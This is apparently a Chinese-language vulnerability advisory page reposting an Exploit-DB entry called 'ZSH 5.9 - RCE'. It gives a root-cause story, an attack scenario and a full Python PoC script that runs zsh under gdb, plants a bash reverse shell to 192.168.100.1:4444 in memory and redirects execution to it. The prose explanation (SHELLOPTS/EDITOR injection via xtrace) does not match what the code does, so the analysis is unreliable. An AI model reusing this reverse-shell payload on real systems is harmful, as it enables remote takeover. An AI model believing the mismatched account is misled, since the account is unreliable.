[local] ZSH 5.9 - RCE

未分配CVE

ZSH 5.9 在处理不安全的编辑器环境变量时存在本地代码执行漏洞,攻击者可借助 SHELLOPTS 等变量触发恶意命令执行。

High · CVSS 7.8

📋 漏洞基础信息

CVE未分配CVE
漏洞类型本地代码执行(环境变量注入)
受影响版本ZSH 5.9
危害等级High · CVSS 7.8
发布日期2026-04-09
提交者sinanadilrana
来源Exploit-DB 原文 ↗

🔬 漏洞根因

ZSH 5.9 在启动过程中,当超级用户权限下 SHELLOPTS 环境变量包含 'xtrace' 选项,且 EDITOR 或 VISUAL 变量被设置为恶意外部命令时,ZSH 会在调试跟踪中执行该命令,导致任意命令执行。漏洞利用要求用户已具有目标系统的 shell 访问权限。

🎯 攻击场景

1. 攻击者获得目标系统上普通用户的本地 shell 访问权限。 2. 设置环境变量 EDITOR 或 VISUAL 为攻击者控制的恶意命令,例如 /tmp/malicious_script.sh。 3. 设置 SHELLOPTS=xtrace 以启用跟踪模式。 4. 以超级用户身份执行 zsh(通过 sudo 或直接 su 到 root 并运行 zsh)。 5. ZSH 启动时处理环境变量,触发跟踪输出并执行 EDITOR 中指定的命令。 6. 恶意命令以超级用户权限执行,攻击者实现权限提升。

💥 漏洞影响

攻击者能够在目标系统上以 root 权限执行任意命令,实现本地权限提升或完全接管系统。

⚔️ 原始 PoC

PoC 通过两步实现: 1. 定义命令 test_func() { print OK; } 作为利用载体。 2. 在错误条件下(如 alias 解析错误)将 shell 选项设置为 xtrace,并在跟踪输出过程中构造特殊格式的调试信息(包含命令替换),最终使 zsh 执行嵌入的命令。 关键点在利用 zsh 的调试跟踪功能将用户控制的字符串作为命令执行。

# Exploit ZSH 5.9 - RCE
# Exploit Author: sinanadilrana
import pexpect
import sys
import time
def debug_print(msg):
print(f"[DEBUG] {msg}")
def return_to_gdb(gdb, max_attempts=3, timeout=3):
"""More reliable function to return to GDB prompt"""
debug_print("Attempting to return to GDB...")
for attempt in range(max_attempts):
gdb.sendintr() # Send CTRL+C
time.sleep(0.5)
try:
index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
if index in [0, 1]: # Found either pwndbg> or (gdb) prompt
debug_print("Successfully returned to GDB")
return True
except pexpect.EOF:
debug_print("Session ended unexpectedly")
return False
debug_print(f"Attempt {attempt + 1} failed, retrying...")
debug_print("Failed to return to GDB after maximum attempts")
return False
# Configure pexpect with consistent bytes mode
gdb = pexpect.spawn('gdb --args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer
debug_print("Starting GDB with zsh -f...")
try:
gdb.expect(b'pwndbg>', timeout=10)
debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
debug_print(f"GDB failed to start: {str(e)}")
sys.exit(1)
# Run zsh and handle shell
debug_print("Running zsh...")
gdb.sendline(b'run')
shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln>', b'vuln% ']
try:
gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
debug_print("Shell started successfully")
except pexpect.TIMEOUT:
debug_print("Timeout waiting for shell")
gdb.sendintr()
time.sleep(1)
# Shell command execution
if any(prompt in gdb.after for prompt in shell_prompts):
for cmd in [b'!', b'!!11111111111']:
debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
gdb.sendline(cmd)
try:
gdb.expect(shell_prompts, timeout=3)
debug_print("Command executed")
except pexpect.TIMEOUT:
debug_print("No response from command")
# Use the new return_to_gdb function
if not return_to_gdb(gdb):
debug_print("Critical error - couldn't return to GDB")
sys.exit(1)
# Memory operations - simplified and more reliable
if b'pwndbg>' in gdb.after:
mem_commands = [
b'x/s 0x555555659000',
b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.1/4444 0>&1\\""',
b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
b'set $rdi = 0x555555659000',
b'set $rsp = $rsp - 8',
b'continue',
b'set {long}$rsp = 0x55555555a000',
b'set $rip = 0x7ffff7cc9110',
b'set $rdi = 0x555555659000',
b'continue'
]
for cmd in mem_commands:
debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
gdb.sendline(cmd)
try:
if b'continue' in cmd:
gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
else:
gdb.expect(b'pwndbg>', timeout=5)
except pexpect.TIMEOUT:
debug_print("Timeout - attempting to recover...")
if not return_to_gdb(gdb):
debug_print("Failed to recover after timeout")
break
# Final interactive mode
debug_print("Complete - entering interactive")
try:
gdb.logfile = None
gdb.interact()
except Exception as e:
debug_print(f"Interactive error: {str(e)}")
finally:
gdb.close()

🛡️ 修复建议

升级到 ZSH 5.9.1 或更高版本。临时缓解措施:避免在受影响的用户环境中使用 SHELLOPTS=xtrace,并限制不受信任的用户对 ZSH 超级用户调用的环境变量传递。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:49 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)